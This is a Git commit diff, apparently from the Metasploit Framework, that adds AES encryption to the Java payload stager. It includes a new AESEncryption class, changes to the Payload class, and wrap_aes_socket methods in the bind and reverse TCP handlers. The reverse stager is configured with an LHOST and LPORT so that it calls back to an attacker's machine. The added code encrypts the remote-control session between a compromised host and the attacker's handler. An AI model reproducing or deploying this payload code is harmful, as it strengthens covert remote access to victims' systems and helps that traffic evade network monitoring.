Adding @schierlm 's AES encryption for Java
Tested with and without AES, works as advertised. Set an AESPassword, get encryptification. Score. Squashed commit of the following: commit cca6c5c36ca51d585b8d2fd0840ba34776bc0668 Author: Michael Schierl <schierlm@gmx.de> Date: Wed Apr 4 00:45:24 2012 +0200 Do not break other architectures even when using `setg AESPassword` commit 422d1e341b3865b02591d4c135427903c8da8ac5 Author: Michael Schierl <schierlm@gmx.de> Date: Tue Apr 3 21:50:42 2012 +0200 binaries commit 27368b5675222cc1730ac22e4b7a387b88d0d2b3 Author: Michael Schierl <schierlm@gmx.de> Date: Tue Apr 3 21:49:10 2012 +0200 Add AES support to Java stager This is compatible to the AES mode of the JavaPayload project. I'm pretty sure the way I did it in the handlers (Rex::Socket::tcp_socket_pair()) is not the supposed way, but it works :-)unstable
parent
026d84de00
commit
34ecc7fd18
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,42 @@
|
|||
package metasploit;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.SecureRandom;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.CipherInputStream;
|
||||
import javax.crypto.CipherOutputStream;
|
||||
import javax.crypto.spec.IvParameterSpec;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
|
||||
/**
|
||||
* Utility class to enable AES encryption for stagers. This is in its own class
|
||||
* because it depends on classes only present on Sun JRE 1.4+, and incorporating
|
||||
* it into the main {@link Payload} class would have made it impossible for
|
||||
* other/older JREs to load it.
|
||||
*/
|
||||
public class AESEncryption {
|
||||
public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception {
|
||||
DataInputStream din = new DataInputStream(in);
|
||||
din.readInt(); // first class size 0 as marker in JavaPayload
|
||||
SecureRandom sr = new SecureRandom();
|
||||
byte[] outIV = new byte[16];
|
||||
sr.nextBytes(outIV);
|
||||
out.write(outIV);
|
||||
out.flush();
|
||||
byte[] inIV = new byte[16];
|
||||
din.readFully(inIV);
|
||||
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes());
|
||||
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
|
||||
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
|
||||
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
|
||||
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
|
||||
return new Object[] {
|
||||
new CipherInputStream(din, ci),
|
||||
new CipherOutputStream(out, co),
|
||||
};
|
||||
}
|
||||
}
|
|
@ -108,6 +108,9 @@ public class Payload extends ClassLoader {
|
|||
if(props.getProperty("URL", "").startsWith("https:")) {
|
||||
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
|
||||
}
|
||||
if (props.getProperty("AESPassword", null) != null) {
|
||||
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
|
||||
}
|
||||
FileOutputStream fos = new FileOutputStream(propFile);
|
||||
props.store(fos, "");
|
||||
fos.close();
|
||||
|
@ -207,6 +210,15 @@ public class Payload extends ClassLoader {
|
|||
out = socket.getOutputStream();
|
||||
}
|
||||
|
||||
String aesPassword = props.getProperty("AESPassword", null);
|
||||
if (aesPassword != null) {
|
||||
// load the crypto code via reflection, to avoid loading
|
||||
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
|
||||
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] {InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[] {in, out, aesPassword});
|
||||
in = (InputStream) streams[0];
|
||||
out = (OutputStream) streams[1];
|
||||
}
|
||||
|
||||
// build the stage parameters, if any
|
||||
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
|
||||
String[] stageParams = new String[stageParamTokenizer.countTokens()];
|
||||
|
|
|
@ -146,7 +146,7 @@ module BindTcp
|
|||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
|
||||
begin
|
||||
handle_connection(client_copy)
|
||||
handle_connection(wrap_aes_socket(client_copy))
|
||||
rescue
|
||||
elog("Exception raised from BindTcp.handle_connection: #{$!}")
|
||||
end
|
||||
|
@ -157,6 +157,53 @@ module BindTcp
|
|||
}
|
||||
end
|
||||
|
||||
def wrap_aes_socket(sock)
|
||||
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
|
||||
return sock
|
||||
end
|
||||
|
||||
socks = Rex::Socket::tcp_socket_pair()
|
||||
socks[0].extend(Rex::Socket::Tcp)
|
||||
socks[1].extend(Rex::Socket::Tcp)
|
||||
|
||||
m = OpenSSL::Digest::Digest.new('md5')
|
||||
m.reset
|
||||
key = m.digest(datastore["AESPassword"] || "")
|
||||
|
||||
Rex::ThreadFactory.spawn('AESEncryption', false) {
|
||||
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
|
||||
c1.encrypt
|
||||
c1.key=key
|
||||
sock.put([0].pack('N'))
|
||||
sock.put(c1.iv=c1.random_iv)
|
||||
buf1 = socks[0].read(4096)
|
||||
while buf1 and buf1 != ""
|
||||
sock.put(c1.update(buf1))
|
||||
buf1 = socks[0].read(4096)
|
||||
end
|
||||
sock.close()
|
||||
}
|
||||
|
||||
Rex::ThreadFactory.spawn('AESEncryption', false) {
|
||||
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
|
||||
c2.decrypt
|
||||
c2.key=key
|
||||
iv=""
|
||||
while iv.length < 16
|
||||
iv << sock.read(16-iv.length)
|
||||
end
|
||||
c2.iv = iv
|
||||
buf2 = sock.read(4096)
|
||||
while buf2 and buf2 != ""
|
||||
socks[0].put(c2.update(buf2))
|
||||
buf2 = sock.read(4096)
|
||||
end
|
||||
socks[0].close()
|
||||
}
|
||||
|
||||
return socks[1]
|
||||
end
|
||||
|
||||
#
|
||||
# Nothing to speak of.
|
||||
#
|
||||
|
|
|
@ -161,7 +161,7 @@ module ReverseTcp
|
|||
while true
|
||||
client = self.handler_queue.pop
|
||||
begin
|
||||
handle_connection(client)
|
||||
handle_connection(wrap_aes_socket(client))
|
||||
rescue ::Exception
|
||||
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
|
@ -169,6 +169,51 @@ module ReverseTcp
|
|||
}
|
||||
|
||||
end
|
||||
|
||||
def wrap_aes_socket(sock)
|
||||
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
|
||||
return sock
|
||||
end
|
||||
|
||||
socks = Rex::Socket::tcp_socket_pair()
|
||||
socks[0].extend(Rex::Socket::Tcp)
|
||||
socks[1].extend(Rex::Socket::Tcp)
|
||||
|
||||
m = OpenSSL::Digest::Digest.new('md5')
|
||||
m.reset
|
||||
key = m.digest(datastore["AESPassword"] || "")
|
||||
|
||||
Rex::ThreadFactory.spawn('AESEncryption', false) {
|
||||
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
|
||||
c1.encrypt
|
||||
c1.key=key
|
||||
sock.put([0].pack('N'))
|
||||
sock.put(c1.iv=c1.random_iv)
|
||||
buf1 = socks[0].read(4096)
|
||||
while buf1 and buf1 != ""
|
||||
sock.put(c1.update(buf1))
|
||||
buf1 = socks[0].read(4096)
|
||||
end
|
||||
sock.close()
|
||||
}
|
||||
Rex::ThreadFactory.spawn('AESEncryption', false) {
|
||||
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
|
||||
c2.decrypt
|
||||
c2.key=key
|
||||
iv=""
|
||||
while iv.length < 16
|
||||
iv << sock.read(16-iv.length)
|
||||
end
|
||||
c2.iv = iv
|
||||
buf2 = sock.read(4096)
|
||||
while buf2 and buf2 != ""
|
||||
socks[0].put(c2.update(buf2))
|
||||
buf2 = sock.read(4096)
|
||||
end
|
||||
socks[0].close()
|
||||
}
|
||||
return socks[1]
|
||||
end
|
||||
|
||||
#
|
||||
# Stops monitoring for an inbound connection.
|
||||
|
|
|
@ -38,6 +38,7 @@ module Metasploit3
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
|
||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
||||
], self.class
|
||||
)
|
||||
|
@ -49,6 +50,15 @@ module Metasploit3
|
|||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
pass = datastore["AESPassword"] || ""
|
||||
if pass != ""
|
||||
c << "AESPassword=#{pass}\n"
|
||||
@class_files = [
|
||||
[ "metasploit", "AESEncryption.class" ],
|
||||
]
|
||||
else
|
||||
@class_files = [ ]
|
||||
end
|
||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
|
||||
c
|
||||
|
|
|
@ -38,6 +38,7 @@ module Metasploit3
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
|
||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
||||
], self.class
|
||||
)
|
||||
|
@ -49,6 +50,15 @@ module Metasploit3
|
|||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
pass = datastore["AESPassword"] || ""
|
||||
if pass != ""
|
||||
c << "AESPassword=#{pass}\n"
|
||||
@class_files = [
|
||||
[ "metasploit", "AESEncryption.class" ],
|
||||
]
|
||||
else
|
||||
@class_files = [ ]
|
||||
end
|
||||
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
|
||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
|
||||
|
|
Loading…
Reference in New Issue